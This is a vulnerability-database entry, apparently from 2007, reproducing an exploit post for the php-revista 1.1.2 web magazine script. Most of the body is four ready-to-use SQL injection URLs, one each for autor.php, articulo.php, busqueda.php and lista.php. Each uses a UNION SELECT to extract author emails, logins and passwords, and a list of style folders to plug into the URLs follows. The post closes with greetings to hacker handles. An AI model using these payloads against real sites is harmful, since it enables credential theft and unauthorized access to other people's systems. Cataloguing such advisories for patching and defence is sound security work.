php-revista <= 1.1.2 Multiple Remote SQL Injection Vulnerabilities

🗓️ 22 Mar 2007 00:00:00Reported by RootType

php-revista <= 1.1.2 Remote SQL Injection Vulnerabilities on Styles /autor.php, /articulo.php, /busqueda.php, /lista.ph


                                                php-revista&nbsp;&lt;=&nbsp;1.1.2&nbsp;&nbsp;Remote&nbsp;SQL&nbsp;Injection&nbsp;Exploit

Found&nbsp;by&nbsp;&amp;&nbsp;contact&nbsp;:&nbsp;Cold&nbsp;z3ro&nbsp;,&nbsp;[email protected]

script&nbsp;:
http://downloads.sourceforge.net/php-revista/revista-1.1.2.tgz?modtime=1025654400&amp;big_mirror=0


Exploits&nbsp;:
==============================================================================
Http://www.Victem.0/revista/estilo/[STYLE]/autor.php?id_autor=-12&nbsp;union&nbsp;select&nbsp;null,email,login,pwd,null,null,null,null,null,null,null,null,null&nbsp;from&nbsp;autores&nbsp;where&nbsp;id&nbsp;=1&nbsp;/*
==============================================================================
Http://www.Victem.0/revista/estilo/[STYLE]/articulo.php?id_articulo=-12&nbsp;union&nbsp;select&nbsp;null,email,login,pwd,null,null,null,null,null,null,null,null,null&nbsp;from
autores&nbsp;where&nbsp;id&nbsp;=1&nbsp;/*
==============================================================================
Http://www.Victem.0/revista/estilo/[STYLE]/busqueda.php?cadena='+union&nbsp;select&nbsp;null,email,login,pwd,null,null,null,null,null,null,null,null,null&nbsp;from&nbsp;autores&nbsp;where&nbsp;id&nbsp;=1&nbsp;/*
==============================================================================
Http://www.Victem.0/revista/estilo/[STYLE]/lista.php?email='+union&nbsp;select&nbsp;null,email,login,pwd,null,null,null,null,null,null,null,null,null&nbsp;from&nbsp;autores&nbsp;where&nbsp;id&nbsp;=1&nbsp;/*
==============================================================================

Styles&nbsp;names&nbsp;:
/discreet/
/galveston/
/mergedidea/
/Widget_Factory/
/Digital_Multiplex/
==========================================================================================================================================
----&nbsp;&nbsp;GreeTz:&nbsp;|MoHaNdKo|&nbsp;&nbsp;|Cold&nbsp;One|&nbsp;&nbsp;|Cold&nbsp;ThreE|&nbsp;|Viper&nbsp;Hacker|&nbsp;|The&nbsp;Wolf&nbsp;KSA|&nbsp;|o0xxdark0o|&nbsp;|OrGanza|&nbsp;|H@mLiT|&nbsp;|Snake12|&nbsp;|Root&nbsp;Shell|
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|Metoovit|&nbsp;|Fucker_net|&nbsp;|Rageb|&nbsp;|CoDeR|&nbsp;|HuGe|&nbsp;|Str0ke|&nbsp;|Dr.TaiGaR|&nbsp;|BLacK&nbsp;HackErD|&nbsp;|JEeN&nbsp;HacKer|&nbsp;|Nazy&nbsp;L!unx|&nbsp;|KURTEFENDY|
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|Spid1r&nbsp;Net|&nbsp;|Big&nbsp;Hacker|&nbsp;|Hacccr|&nbsp;|hacoor|&nbsp;||&nbsp;|Geniral&nbsp;C|&nbsp;|Mr.TyrAnT|&nbsp;|Zax|&nbsp;|Zooz|&nbsp;|&nbsp;Al&nbsp;3afreat&nbsp;|&nbsp;|The-Falcon-Ksa|
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|The&nbsp;Sniper|&nbsp;|&nbsp;DearMan&nbsp;|&nbsp;|Pro&nbsp;Hackers|&nbsp;|&nbsp;020&nbsp;|&nbsp;|&nbsp;abdulla00&nbsp;&quot;&nbsp;alz3eem&quot;&nbsp;|&nbsp;|&nbsp;The_Viper&nbsp;|Kof2002|
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;All&nbsp;i&nbsp;know
==========================================================================================================================================


Big&nbsp;Thx&nbsp;For&nbsp;:&nbsp;www.4azhar.com&nbsp;,&nbsp;Viva&nbsp;My&nbsp;HomeLand&nbsp;Palestine

Print&nbsp;:&nbsp;&nbsp;Team&nbsp;Hell

22 Mar 2007 00:00Current

7.1High risk

Vulners AI Score7.1

php-revista &lt;= 1.1.2 Multiple Remote SQL Injection Vulnerabilities

php-revista <= 1.1.2 Multiple Remote SQL Injection Vulnerabilities